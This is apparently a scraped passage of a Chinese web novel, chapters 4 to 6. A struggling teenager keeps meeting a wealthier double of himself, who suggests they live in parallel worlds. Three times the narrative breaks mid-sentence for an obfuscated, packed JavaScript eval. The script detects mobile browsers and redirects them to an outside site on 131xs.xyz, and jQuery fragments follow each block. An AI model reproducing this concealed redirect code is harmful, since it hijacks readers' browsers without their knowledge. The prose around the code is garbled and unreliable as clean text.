陈亦临吓了个激灵,他猛地扭过头,就看见“陈亦临”跷着二郎腿坐在沙发里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560162|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里还拿着一个平板电脑,脖子上挂着个很酷的耳机,一看就很贵。 “陈亦临”扔下平板起身,目不斜视地穿过了他的身体,走进了厨房里。 陈亦临愣了一下,跟着“陈亦临”走进厨房,伸手在他眼前晃了晃,对方却眼睛都没眨一下,显然是看不见他。 “哎。”他谨慎又警惕地小小喊了对方一声。 “陈亦临”却像根本没听见,拿起碗捧在手里,感情丰富道:“亲爱的老妈,您的宝贝儿子快要饿死了,申请先吃块排骨充饥,好多背两个单词。” 林晓丽和陈顺乐成一团,林晓丽给他舀了块小排骨:“这个应该熟了,慢慢吃小心烫啊。” “陈亦临”叼着块排骨烫得龇牙咧嘴,又将碗伸出去:“再来一块吧。” 陈亦临看着“陈亦临”碗里的排骨,好不容易压下去的饿意又汹涌而来,他舔了舔干涩的嘴唇,伸手去拿排骨,果然还是穿了过去。 他不死心,又往“陈亦临”脑袋上捶了两下,对方在啃排骨毫无反应,他这才确认对方真的看不到自己,说不清是松了口气还是有点遗憾。 林晓丽给他舀了两块,还浇了点汤:“顺便尝尝咸淡。” “陈亦临”一手端着碗一手冲她竖大拇指:“刚刚好,我封你为厨神。” 林晓丽笑得十分得意,陈顺举着勺子道:“那我呢?” “副厨神。”“陈亦临”嘿嘿一笑。 陈顺乐道:“行吧,副得也成,那就让副厨神来给你烧道小油菜。” 陈亦临低头看了看手里啃得乱七八糟的菜叶子,躲在“陈亦临”的背后,戒备地看着陈顺起火开锅。 小油菜被快速焯过水,叶片清脆欲滴,陈顺热好锅放凉油,将切好的蒜末炒到了金黄,还不忘教学:“这个火一定要小啊,上次你做的就糊了。” “我那是忘了。”林晓丽哼了一声。 陈顺笑眯眯地也不反驳,碎碎念道:“翻炒一下,看着菜叶子软了就一勺耗油,一点生抽,再来一点点盐。” 他将盐洒下,卖弄地掂了掂锅子,利落地关火出锅:“好嘞,齐活儿。” “鱼还要等一会儿,临临,饿了就先吃吧。”他将菜端到了桌子上。 “来,妈妈给你剥虾。”林晓丽将炖好的排骨盛出来,戴上了手套开始剥虾。 陈亦临看得大为震撼。 好离谱的幻觉,这么大人竟然还要妈妈剥虾,“陈亦临”简直就是个妈宝男。 “陈亦临”已经在饿得在闷头扒饭,他叹了口气道:“老妈,李阿姨什么时候休完假?” 林晓丽有点伤心地看着他:“怎么了,是爸爸妈妈做饭不好吃吗?” “陈亦临”叹了口气:“你们从两点开始做午饭,现在已经晚上六点了。” “哎呀,这不是想让你吃得有营养一点嘛。”林晓丽笑道,“再说这个砂锅炖出来的排骨格外香呀,来宝贝儿,吃虾。” “陈亦临”张嘴叼走了她手里的虾,认命地嚼着上面没剥干净的虾壳,含糊不清道:“老妈,还是我给你剥吧。” 陈亦临幸灾乐祸地看着他吃瘪,坐在餐桌前看着一道道菜被放上来,就好像自己也在餐桌上一样,不知道为什么,他有点莫名的兴奋。 他还特意挑在了“林晓丽”身边坐下,在她投喂“陈亦临”的时候,故意张大嘴假装抢走,自顾自乐了半天。 “对了,我已经让你吴叔帮忙联系了医生,周末我和你妈妈陪你去检查一下。”陈顺在饭桌上道,“今天有看见幻觉吗?” 玩得正开心的陈亦临一下子支棱起耳朵。 “陈亦临”摇了摇头,说:“昨天是第一次出现,可能是最近熬夜太累了。” 林晓丽面露担忧:“护身符要随身戴好,肯定是撞到不干净的东西了。” “老妈,太夸张了。”“陈亦临”看起来很无奈。 陈顺道:“也不一定是夸张,听你妈妈的话,护身符戴好,改天我们再去给你求一个。” 陈亦临这才看见坐在对面的人脖子上挂了条小红绳,轻嗤了一声。 真是家里的宝贝疙瘩,难怪出现了幻觉都不怕。 一家三口其乐融融地吃着晚餐,有一搭没一搭地说着话,陈亦临看得见闻得到却吃不着,心里直冒酸水,气得闭上了眼睛。 再睁眼,周围的交谈声和饭香味消失无踪,只剩下漆黑空荡的房间和他手里啃得没多少的小油菜。 他孤零零地坐在餐桌前,愣了好一会儿。 想了想,他皱着眉闭上眼睛,再睁眼依旧是空无一人的房间,他不死心地试了好几次依旧没效果,最后只好放弃。 他自己坐了一会儿,起身到冰箱里拿起另一颗油菜,学着幻觉里“陈顺”的做法,备好佐料,焯水,然后按照记忆里的步骤手忙脚乱地炒出了一道有点糊的青菜。 有点熟悉的香味蹿进鼻腔,他惊喜地耸了耸鼻子,乐颠颠地端着菜放到了餐桌上,没找到饭,就去卧室拿了包方便面泡上,一口泡面一口菜美滋滋地吃了起来。 开心。 他又盯着那盘有点糊的菜傻笑起来。 嘿,他竟然会炒菜了。 他现在要封自己为独臂厨神。 4. 地址 房间里弥漫着淡淡的蒜末被炒糊的气味。 陈亦临抬起一条腿,将一只脚踩在椅子边缘,脚心被木头硌着,他又将另一条腿也挪了上来,蜷缩起来的姿势和刚吃完饭的饱腹感让他觉得无比安全。 但接下来他又不得不开始思考现实问题:他的右手骨折了,吴时这只铁公鸡是绝对不会再用他了,他失去了一天中唯一的一顿饱饭,卡里的钱是决计不能动的,冰箱里的菜总有一天是会吃完…… 他又不可避免地想起另一个陈亦临来。要不是因为他,自己的手也不会骨折,他们明明长得一样,“陈亦临”却住着漂亮的大房子,有着疼爱他的爸爸妈妈,“陈亦临”大概这辈子都不用为这些问题发愁。 他想,我要是“陈亦临”就好了。 他又想,“陈亦临”会不会也有烦恼,根本不像自己看到的那么幸福? 他忍不住又想起“林晓丽”做的排骨和“陈顺”做的红烧鱼,那应该是一种什么味道呢?会不会和现实世界里的菜不一样? 也许“陈亦临”根本尝不出菜的味道,因为“陈亦临”要么是只鬼,要么是他的幻觉,一切都是他自己想象出来的。 这样一想,他忽然觉得“陈亦临”有点可怜。 窗外的夜色渐深又渐亮,客厅里只剩下时钟秒针啪嗒啪嗒的转动声,他抱着自己的石膏手臂不知道发了多久的呆,脑海中忽然闪过一个念头:如果他再看见“陈亦临”,并且“陈亦临”也能看见他的话,那他一定不会再拿消防斧砍对方了。 可惜接连好几天,他都没有再出现过幻觉。 吴时得知他骨折,在电话里抱怨了一通,并且表示这个月他干了没几天,不会给他发工资;最近几天一直在下雨,温度一天比一天低,原本采光就不好的房子更加阴冷,他洗的床单和衣服一直没有干;陈顺不知道是在外面玩嗨了还是害怕他再拿刀砍人,一直没有回来过,这大概是唯一一件值得让人开心的事情了。 陈亦临翻出了压在箱底的卫衣,上面的褶皱死活捋不平,凑近闻还一股闷出来的潮湿味,他拖着残废的右臂和这件卫衣殊死搏斗半天,终于将头套了进去,却卡在了领口。 他忽然想起来连帽的抽绳之前被自己拽进系了个死结。 刚才他只愁着怎么把右边的袖子撑开将石膏胳膊套进去,现在好不容易成功了,结果他半弯着腰举着右胳膊,穿不进去更脱不下来,急得他原地转了两圈。 在左手疯狂地摸索绳结试图解开无果后,他终于成功把自己惹毛了。 “操!”陈亦临转身就要去找剪刀。 今天不杀了这件卫衣他就不姓陈! 一声戏谑的笑贴着他的耳朵响起,伴随着温热的呼吸,似乎有阵暖呼呼的风扫过他的手背。 “谁!”他吓得一蹦,胳膊上的汗毛齐刷刷竖了起来。 “是我,朋友。”“陈亦临”熟悉的声音传进了他的耳朵里。 突如其来的惊喜混杂着惊吓让陈亦临脚步更乱,他像只弓背大虾到处乱转,急道:“靠,你先等会儿。” “陈亦临”对他突如其来的礼遇有些摸不着头脑:“咦,你不怕我了?” “怕你个鸟蛋,弄死你要花三千六,你还是活着吧。”陈亦临暴躁的声音从卫衣里面传来。 “陈亦临”笑出了声。 “笑什么笑,有本事你帮我解开。”陈亦临有些恼火。 “我碰不到你。”“陈亦临”慢悠悠地说,他似乎在思考,“但也许可以试试。” 陈亦临刚要怼他,忽然感觉背后贴上了股若有若无的温热,意识到那股缥缈的热气很可能是“陈亦临”之后,他硬是激出的层冷汗:“你干什么?!” “嗯?”“陈亦临”的声音听上去也有点懵,“我以为和你重合就能控制你的动作。” 陈亦临一阵恶寒:“怎么可能?” “文献里都是这么写的。”“陈亦临”像贴在他嘴巴上说话。 “什么狗屁东西!”陈亦临往前踉跄了几步,试图远离那片隐约可觉的热源。 “灵异事件综合研究——论灵体与实体接触方法的可行性报告。”“陈亦临”又凑了上来,“再试试。” 陈亦临十分烦躁:“你能不能别喘气了?” “陈亦临”:“……” 陈亦临再次远离他,闷声道:“你一靠近我就有股热气,特别烦人。” 对方沉默了一会儿,陈亦临以为对方被吓到了,尴尬地正不知道说什么好,就感觉手背上划过一道温热的气息,紧接着“陈亦临”的声音传来:“能感觉到?” “啊。”他攥着绳结的左手下意识地蜷缩了一下。 “往这儿。”“陈亦临”说。 那道若有似无的热气往左划了一下,陈亦临将信将疑地向左边摸去。 “停。”“陈亦临”又说,“摸到一个结了吗?” “嗯。”陈亦临应声。 “把离你近的那根拽出来。”那道热气又轻轻划了他的手指一下。 “哦。”陈亦临接下来都照着他的话去做,两个人配合得还算默契,很快就将那些缠得乱七八糟的死结打开。 陈亦临冒出头来,深吸了一大口气,紧接着就闻到了熟悉的青柠味。 “陈亦临”顶着湿漉漉的头发站在他面前,热情地挥了挥手:“嗨~” 他离得太近,陈亦临警惕地后退一步,看到了他的新睡衣,雪白柔软的布料上印着几只小狗,正笑眯眯地冲他吐舌头。 “你刚洗完澡?”陈亦临问。 那股青柠味比之前闻到的要更浓郁一点。 “对啊,头发都没来得及擦,就看到你了。”“陈亦临”开始四处打量,“这儿是你的家吗?” “租的。”陈亦临说。 不知道为什么,他并不想承认,也许是因为脱落斑驳的墙壁和布满了裂纹的地板,也许是因为“陈亦临”刚洗完澡看起来太干净。 “那可以参观一下吗?” “不可以。” “好的,谢谢。”“陈亦临”溜达着往门外走。 “哎你是不是听不懂人话?”陈亦临下意识地想拽住他,手掌却径直穿过了他的胳膊和肚子,拽了个空。 “陈亦临”转头看向他,脸上的表情有点怪异:“好像真是热的。” “什么?”陈亦临问。 “你穿过我身体的时候,”“陈亦临”顿了顿,“像三伏天晚上的风。” 陈亦临愣了一下,抬起手试探地碰了碰他的脸颊:“那这样呢?” “陈亦临”笑道:“像被小狗在脸上按了一爪子。” 过了好一会儿陈亦临才反应过来,恼羞成怒:“你才是狗!” “陈亦临”老神在在地参观起他们家的客厅,陈亦临原本打定主意不想理他,但又忍不住好奇,还是跟在了他身后。 “有什么好看的?”陈亦临盯着他还在滴水的发梢,“你不去把头发擦干吗?” “我怕离远了就看不到你了。”“陈亦临”转过头冲他笑道。 陈亦临觉得莫名其妙:“看不见不是更好?” “当然不。”“陈亦临”忽然凑过来。 陈亦临感觉自己像被一大团青柠味的水蒸气包围,对方带着笑意的声音响起:“这件事情特别有意思,让我们来研究一下吧。” 陈亦临退后了一步,离开了他的包围圈,冷酷地拒绝:“我没那个闲功夫。” “陈亦临”笑道:“那你在忙什么?” “忙着想办法挣钱。”陈亦临举起打着石膏的右手敲了敲冰箱门,“因为没能砍死你,我的手骨折了,工作也黄了,等冰箱里的菜吃完,我就可以等死了。” “陈亦临”愣住:“你没在上学?” 陈亦临沉默了下来。 “那你——”“陈亦临”欲言又止,额前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560163|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的碎发还在滴水,他伸手往后一撸,说出了一句非常酷的话,“要不我借你点儿钱吧。” 陈亦临猛地转过头盯着他,就像一头在盯着大肥羊的饿狼:“真的?” 大肥羊点了点头,但很快陈亦临就意识到了这件事情的荒谬之处,他有些一言难尽:“你是打算借我冥币吧,还是算了,听说你们那儿通货膨胀特别严重。” “什么乱七八糟的,我是一个活生生的人。”“陈亦临”十分笃定。 陈亦临看着站在餐桌中央的“人”,沉沉地叹了口气:“你说是就是吧。” “陈亦临”却不满意他这敷衍的态度,他走过来试图搭住陈亦临的肩膀,问:“我第一次见你是在医院里,第二次见你是现在,地点在我家的卧室,我看你的反应不像只见过我两次,你一共见过我几次?都是在什么地方?” 陈亦临躲开他的胳膊,尽管对方碰不到自己,他后背抵在冰箱门上,回忆道:“第一次是在篮球场上,第二次是在医院……这是第四次。” 他已经犯了四次病。 “那第三次呢?”“陈亦临”刨根问底。 “那不重要。”陈亦临再一次穿过他,坐在了椅子上,语气生硬道:“反正你也不是真实存在的。” “怎么可能?”“陈亦临”失笑,“不信你去查,我告诉你我的身份证号和家庭住址,我爸我妈的名字和公司,你一查就能查到。” 陈亦临拧起眉。 “朋友,如果你不想再看见我,那更要找到原因解决问题才对。”他优哉游哉坐在了陈亦临对面,“我们首先要学会信任对方。” 陈亦临目光沉沉地盯了他半晌:“怎么查?” “用电脑啊。”“陈亦临”说,“手机也行。” “我家没电脑。”陈亦临木着脸道,“我也没手机。” “陈亦临”抹了把脸上的水珠,幽幽道:“那就去网吧。” 陈亦临警惕地看着他:“那你为什么不查?” “那也得你乐意告诉我才行啊。”“陈亦临”哭笑不得,“我一靠近你你就炸毛,跟只小刺猬似的。” 陈亦临有点烦他这张嘴,从冰箱底下摸出了三十块钱纸币,揣进了卫衣兜里走向门口。 “陈亦临”兴致勃勃地想跟上去,却被一股无形的力量拦在了半路。 “怎么了?”陈亦临扭头看向他。 “不知道,我感觉过不去了。”他的身体变得越来越透明。 陈亦临快步走到他面前,试图伸手抓住他,却再一次抓了个空,这次连热气都没感觉到,而“陈亦临”彻底消失前还不忘叮嘱他:“你可一定要去查啊,要是查到了就来找我,我借你钱!” “知道了!”陈亦临被他搞得有点紧张,忍不住抬高了声音。 房间内,“陈亦临”消失得无影无踪。 陈亦临低头看了一眼自己的手,忍不住抓了一下,还是没能感受到热气。 走出楼道的时候,他判断出自己应该是病得更严重了,现在最重要的是去医院看病拿药,而不是去网吧查一个幻觉提供的地址——但看病要三千,去网吧只有三十。 要是查不到,那就能印证他真得了精神病,怒省两千九百七十。 尽管这样想,但当他坐在网吧的电脑前开始查询的时候,心脏还是紧张得突突直跳。 他怕“陈亦临”提供的地址是真的,又怕“陈亦临”提供的地址不是真的——“淮微省……” 他拧起眉,心里涌起了一股不详的预感,尽管他初中的地理知识学得很烂,但印象里也没有这个省份,他不死心地继续打:“云水市……荒市……万玄街道98号……” 搜索框内弹出了许多小说和游戏界面,却唯独没有官方地图上的确切地址。 【搜索的地址不存在】 陈亦临的心情瞬间跌到了谷底,又隐约松了口气。 他果然病得不轻。 5. 泡面 但好在不是真的见鬼了。 陈亦临盯着屏幕,忽然有些分不清得了精神病还是能见鬼哪个更糟——有病就得治,那就得花钱,这玩意儿还不一定能治好,但见鬼就不一样了,那属于是特异功能,说不定以后还能靠这个挣钱。 嘶。 陈亦临突然反应过来痛失了一个绝佳的就业机会。 真是见鬼。 他有点郁闷,开始从网上找招聘信息,但照旧一无所获,他要么学历不符合要求,要么年龄不够,点击鼠标的力道变得越来越暴躁,干脆将招聘页面一关,随便打开一节微积分课。 他连微积分是个什么玩意儿都不知道,越听越困,被老板晃起来的时候,口水流了一下巴。 从网吧出来,他的心情已经被知识熏陶得十分平静,外套也被烟味熏陶得十分恶心,北风拽着细雨气势汹汹地朝他扑了过来,冻得他打了个喷嚏。 操,这鬼天气。 他一只手揣进兜里,站在原地使劲蹦了蹦,看着街道上行色匆匆的人群,有点不知道该往哪儿走。 要是“陈亦临”在就好了,他俩还能说说话。 他漫无目的地在大街上游逛,偶尔看见店门前有招聘信息就走进去问问,但人家一看他手上打着石膏,二话不说就拒绝了,压根走不到问年龄看身份证的步骤。 在接连碰了一鼻子灰之后,他抱着胳膊蹲在休闲公园看几个老头下棋,虽然这盘棋和那节微积分一样都云里雾里,但几个老头儿冒雨下得激情澎湃,他也假装自己也是老头儿军团的一员,看得聚精会神。 但老头儿也架不住越来越狂野的北风,没过半个小时就原地解散,哆嗦着各回各家了。 他一抬头,看见了马路对面的医院。 —— 庞郭刚准备下班,就看见上次那小孩儿垂头丧气地坐在走廊的椅子上,满脸心事。 “哟,怎么又回来了?”庞郭看了一眼表。 “马医生。”陈亦临很有礼貌。 “……我姓庞。”庞郭指了指墙上的医生介绍表,“你已经办理出院了,问诊的话先去门诊楼挂号,这儿是病房楼。” “我不用做检查,我就是有病。”陈亦临费劲地回想,“那个什么幻听幻视,现在更厉害了。” 庞郭叹了口气:“这个有没有病嘛,不是你自己说了算的,我们要相信科学,最起码嘛,是吧,你得先通过仪器的精密检查,排除掉一些确切的病灶,才好下定论的是不是嘛?” “没钱。”陈亦临一针见血,“医生,你就告诉我吃什么药能治,最好便宜点的那种。” 说实话,要不是精神病不好找工作,他连药都不想买。 庞郭吓得肚子上的肥肉抖了抖:“你这不是胡闹嘛,且不说我不是精神科的医生,就算是精神科的,也不能随随便便给你开药的,没钱你叫家长来,我跟他们谈,你不要有太大的心理负担嘛。” 陈亦临摇了摇头,失望地走开了。 庞郭好像在后面喊了他一声,但陈亦临没有听见,而是站在了原地。 原本空荡的病房走廊突然变得人满为患,荒市第一医院门诊的牌子格外显眼,男女老少神色各异熙熙攘攘,陈亦临就这么站在大厅中央,被潮水般的喧嚣彻底湮没。 恐慌感汹涌而来,他僵硬地转动着脖子,试图寻找什么,可连他自己都不知道在找什么,直到熟悉的声音穿过了他:“爸,妈,走这边。” “陈亦临”穿了件黑白色的冲锋衣,擦干的头发干净清爽,他手里捏着几张单子站在指示牌前仰起头,以十分轻松地语气道:“精神科在七楼,但我觉得我有必要申明一点,我的精神状态十分良好。” “那才出问题。”陈顺无奈摇头,“按理说你们这么大的小孩儿,正是最闹腾的时候,精神最不稳定了。” 林晓丽拎着个精致的手提包,声音温柔道:“没关系,偶尔做一下心理疏导也是好的,临临现在高三压力肯定很大……” 陈亦临走到指示牌下,伸手在“陈亦临”面前挥了挥:“哎?哎!” “陈亦临”却完全无视了他,在穿过他的时候,也没有之前的“热气”,陈亦临不信邪,紧紧跟在他身后:“你看不到我了吗?我就在你旁边,喂!” “陈亦临”和陈顺林晓丽有说有笑地进了电梯。 陈亦临有点生气,忍不住抬高了声音喊他:“陈亦临!” 电梯门打开,他试图跟在他们身后一起进电梯。 “陈亦临!!”一道更惊恐的声音突然在他耳朵边炸开。 周围喧嚣的人潮声倏然褪去,眼前的景象也消失无踪,冷风呼啸着灌进他的领口,冰凉的雨浇在脸上,陈亦临看着窗外林立的高楼,猛地清醒过来。 庞郭死死拽住他的胳膊,旁边有人冲了过来,帮着他一起将陈亦临拽离了窗边。 陈亦临看着庞郭和几个陌生人,一时有些分不清幻觉还是现实。 庞郭心有余悸地喘着气,瞪着他:“你这孩子,看着瘦怎么力气这么大?刚刚我差点拽不住你!” “哎呀,年纪轻轻地有什么想不开的,孩子啊,咱不至于。”旁边的中年人穿着病号服,看着有点眼熟。 是之前和他一个病房的病友。 “我不是……”陈亦临欲言又止,说得有点没底气,“我不是想跳楼。” 虽然他有很多次跳楼的冲动,但这次不是,他只是想跟着“陈亦临”进电梯,看看对方是怎么检查的。 要是“陈亦临”的医生给他开药的话,他可以悄悄记下来,看能不能买到。 庞郭眉头拧得能夹死只苍蝇,中年人站在窗户前将陈亦临挡得死死的,其他人你一句我一句地开始劝导他,陈亦临刚开始还在点头,后面就变成了网吧里上微积分课,公园里看老头儿下象棋——耳朵在云里,眼睛在雾里。 “好了好了,大家散了吧,回病房好好休息嘛。”庞郭驱散了围观的人群,和来换班的医生把陈亦临带进了办公室。 那个中年人也跟了进来。 “药我肯定是不能给你开,但你有什么困难可以讲出来嘛,大家一起帮你想办法。”庞郭给他倒了杯水,“年轻人遇事要冷静,要多想办法的嘛。” 陈亦临很久没和这种看起来就很有本事的“大人”说过话了,他低头盯着杯子里的水,水面一半明一半暗,有一半是他的影子。 不知道过了多久,他才听见自己干涩的声音:“我没事,我只是在找工作,一直没找到。” 这已经是他能对其他人倾诉的极限了,至于父母离婚,陈顺家暴,早早辍学,没钱吃饭……这些更多的东西,他是没办法说出口的,翻出这些烂事讲给别人听,除了让他看起来更烂之外,没什么用处。 庞郭和那个中年人病友,你一言我一语地开始劝导他,他听得走神,忽然想起另一个陈亦临,他现在正在干什么呢?和爸爸妈妈看完病了吗?他们会不会一起去吃大餐? “嗐,没什么过不去的,这事儿叔就能帮你解决!” 陈亦临突然被人一巴掌拍在肩膀上,他有些懵地看着对方:“啊?” “芜城职业技术学院知道吧?”中年人递给了他一张名片,“我是餐饮公司的经理,他们学校的食堂二楼外包给我们公司了,有些家庭困难的孩子也来勤工俭学,正好我要开个新档口缺人手,你要觉得行就来。” 陈亦临有些迟钝地盯着名片上的字——“福泰饮食有限公司”“经理李建民”——他抬起头看向那个中年人,看着比陈顺年纪还要大一些,又低头看了看名片,站起身来朝对方鞠了一个九十度的躬,中气十足地吼道:“谢谢李总!” 几个人被他吓了一跳。 “哎哎哎,不用不用。”李建民生怕他再跪下给自己磕一个,赶紧扶住他的肩膀把他掰直。 陈亦临感激地看着他,略有迟疑:“不过我的手受伤了,可能有些活干起来不太方便。” “没事儿,你先跟着学。”李建民笑道,“别嫌工资少就行。” 陈亦临使劲点了点头:“谢谢李总。” “喊叔就行,我还不到总那个级别。”李建民拍了拍他的肩膀,“有工作干了可要想开啊,你年纪小不懂,等你到了我这个年纪就知道了,能活着比什么都实在。” 陈亦临又接连道谢,最后拿着名片离开了。 “李哥,这小孩儿没满十八,你真打算让他去你那儿?”庞郭还是有点不放心。 李建民笑着摆摆手:“嗐,要不是真被逼得没办法了,谁愿意想不开啊,我就当日行一善了,给自己积点儿德。” 庞郭道:“快点回去吧,明天要化疗,好好休息。” 李建民这才背着手溜达回病房。 —— 陈亦临将那张名片仔细地放好,斗志昂扬地回到了家。 他哼着歌每个房间都转了一圈,确认陈顺没有回来之后,心情更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560164|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好到了极点,误打误撞找到了工作,而且还是在同一个学校食堂不用换环境,这对他来说再好不过了。 他要在方便面里卧俩鸡蛋庆祝一下。 “俩鸡蛋……啦啦啦……俩鸡蛋啊~”他打开冰箱,数了数还剩下的十四个鸡蛋,挑了两个幸运蛋抓在了手里,用肩膀将冰箱门关上,“嘿,俩鸡蛋儿——啊!” 他看着突然冒出来的“陈亦临”,手里那俩蛋差点没握住。 “陈亦临”笑眯眯地看着他:“回来啦?心情这么好?” 陈亦临看了他一眼,径直从他的身体里穿了过去,熟悉的温暖感传来,但他眼皮都没掀一下。 “怎么了?”“陈亦临”有些纳闷,跟在他身后进了厨房。 陈亦临直接无视了他,起锅烧水,撕调料包的时候,“陈亦临”猝不及防从他身体里探出头来,站在了他和灶台中间,抬手在他眼前挥了挥:“嗨~” 他离得太近,陈亦临后退了半步,冷声道:“别和我说话。” “嗯?”“陈亦临”歪了歪头。 “你给我的地址全都是假的。”陈亦临拿着勺子指着他,“你根本不是现实存在的人,只是我精神病分裂出来的幻觉。” “不可能。”“陈亦临”皱起眉,“我给你的都是真实信息。” “别再骗我了,世界上怎么可能存在两个长得一模一样的人,而且我叫陈亦临,你也叫陈亦临。”陈亦临用勺子挥开他,将调料包洒进锅里,“我真是疯了才信你的话,还白搭上三十块钱,我们这儿没有淮微省。” “陈亦临”若有所思地摸了摸下巴。 就在他以为这个幻觉会发表什么建设性的意见时,就见他转头看向锅子:“红烧牛肉面?” “……”陈亦临想把他敲进锅里一块煮了。 “听着朋友,肯定是哪里不对。”“陈亦临”哥俩好地虚虚搭上他的肩膀,“不如这样,你告诉我你的住址,我来查。” “别白费功夫了。”陈亦临盖上锅盖,靠在橱柜上抱着胳膊看向他,一脸冷酷,“等我工作了攒够钱,就买药来杀了你。” “陈亦临”抬起一根手指在他眼前晃了晃:“不,亲爱的朋友,我想明白了。” 陈亦临面无表情地盯着他。 “陈亦临”眉峰下压,声音也沉沉的:“如果你查不到淮微省和荒市,有没有一种可能,我们两个不在同一世界里?” “?”陈亦临挑了挑眉。 “比如说——平行世界。”“陈亦临”抬手摩挲着下巴,“你看,我们长得一模一样,你爸妈和我爸妈也长得一样,或许我们是两个世界的同一个人,只是在过着不一样的人生。” 他眼底的兴奋越来越强烈,他目光炙热地看向陈亦临:“这也太有意思了!” “有意思个鸟蛋。”陈亦临嗤笑了一声,搅了搅锅里的面,心道这个猜测还不如他得了精神病。 “为什么?”“陈亦临”不解,“我们是一个人,只是在体验着不同的人生,我们可以比任何人都更了解对方,甚至还可以交流两个世界的信息,你想一下,这是一件多么美妙的事情。” “砰!” 勺子重重地磕在了锅子上。 “陈亦临”从兴奋中抽离出来,看着面前脸色铁青的陈亦临,试探地问:“你觉得不好?” “一点都不好。”陈亦临冷声道,“今天我在医院又看见你了,你和你爸妈去医院看精神科,我叫你,你却完全听不见也看不见,因为想跟着你进电梯,我差点从医院十七楼的窗户跳下去。” “陈亦临”愣住:“可我在医院没有看见你。” “先不说平行世界多么荒谬,现在你已经严重干扰到了我的正常生活。”陈亦临目光阴冷地盯着他,“我不管你是什么东西,又是为什么让我看见你,你要是再敢出现,我就对你不客气。” “陈亦临”嘴角噙着的笑意缓缓消失。 陈亦临攥紧了手里的勺子,就在他准备抡上去的时候,却听见“陈亦临”温和又平静的声音: “陈亦临,你的面煮好了。” 热气扑向了玻璃,烙上了一层白茫茫的雾,对面的楼陆陆续续开始亮起了灯光,雨水噼里啪啦打在窗外的铁皮上,发出了沉闷的声响,玻璃锅盖在沸腾的水汽下震荡不休,陈亦临看着浑浊的汤水,紧攥着勺柄的手力道微松。 “我知道。” 他听见自己这样对另一个陈亦临说。 6. 研究 热气腾腾的泡面被端到了桌子上。 因为之前被陈顺掀过好几次,木质的桌面有不少裂纹和小坑,上次连桌角都磕掉了一块,陈亦临盯着那块缺口看了一会儿,才拿起筷子吃面。 外面天已经黑了,风从窗户吹进来让人后背发凉,他瞥了一眼“坐”在餐桌对面的幻觉,问:“你不去吃饭?” “我不饿。”“陈亦临”单手托着腮,兴味盎然地盯着他,“而且和吃饭比起来,研究你比较有意思。” 陈亦临:“……” “我的意思是,研究目前这个现象。”“陈亦临”善解人意道,“这种事情普通人确实很难接受,你只是需要时间来适应一下。” 陈亦临咬了口荷包蛋,蛋黄没熟成了糖沁蛋,他呸了两口,拧起眉。 “哎,沁心蛋多好吃。”“陈亦临”不解。 “有菌蛋,没煮熟,拉肚子。”陈亦临的心情糟糕极了,但又不想起身去回锅,于是将蛋的缺口朝下按进汤里,企图用汤的余温将蛋烫死。 “要不还是再煮一下吧。” “你为什么这么快就接受了?” 两个人异口同声,“陈亦临”看向他,明显这人没有要去煮蛋的意思,他沉默了一会儿,脸上浮现出一个略显神秘的笑容:“告诉你应该没有关系,其实我从小就对灵异事件别特感兴趣,两年前我偷偷加入了灵异事件研究组,现在已经是一名高级组员了。我平时研究得都是妖魔鬼怪,区区平行世界——” 陈亦临看他的眼神宛如在看一个神经病。 “陈亦临”无奈地摊手:“你看你,非要我说,说了你又不信。” 陈亦临心里涌上了一股无名火,他使劲舔了舔后槽牙:“你要是再多说一个字,我就把你按进碗里跟蛋一块熟。” “陈亦临”潇洒地换了个手支着脑袋,另一只手往嘴巴上一拉,笑着点了点头。 陈亦临一天没吃饭,这会儿已经饿得前胸贴后背,他连汤带面加俩蛋全吞进了肚子里,勉强吃了个半饱,而“陈亦临”就这么老老实实坐在他对面,观察着他的一举一动。 他被“陈亦临”盯得有些不自在,单手拿起筷子和碗进了厨房,结果水龙头刚打开,“陈亦临”就飘了进来。 他装作没看到,趁着挤洗洁精时,用余光悄悄扫了对方一眼。 “陈亦临”嘴角那点笑意立刻放大,歪着身子探过脑袋来看他,指了指自己紧闭的嘴巴,双手合十朝他拜拜。 陈亦临那点火气瞬间烟消云散,他咬了咬牙,冷酷地盯着越凑越近的“陈亦临”:“你到底想干嘛?” “陈亦临”站在水槽中央,笑眯眯道:“亲爱的朋友,让我们来研究一下这个奇妙的事件吧。” 陈亦临连明天早饭吃什么都研究不出来,更不用说和一个精神病衍生出来的“幻觉”研究什么见鬼的平行世界,但可能是因为刚吃完饭,也可能是因为他实在想和人说说话,于是他绷着脸道:“等我把碗刷了。” “陈亦临”这才从水槽里走出来,靠在墙边观察他刷碗。 陈亦临用一只手随便在碗里搅了搅,用水一冲就要放起来。 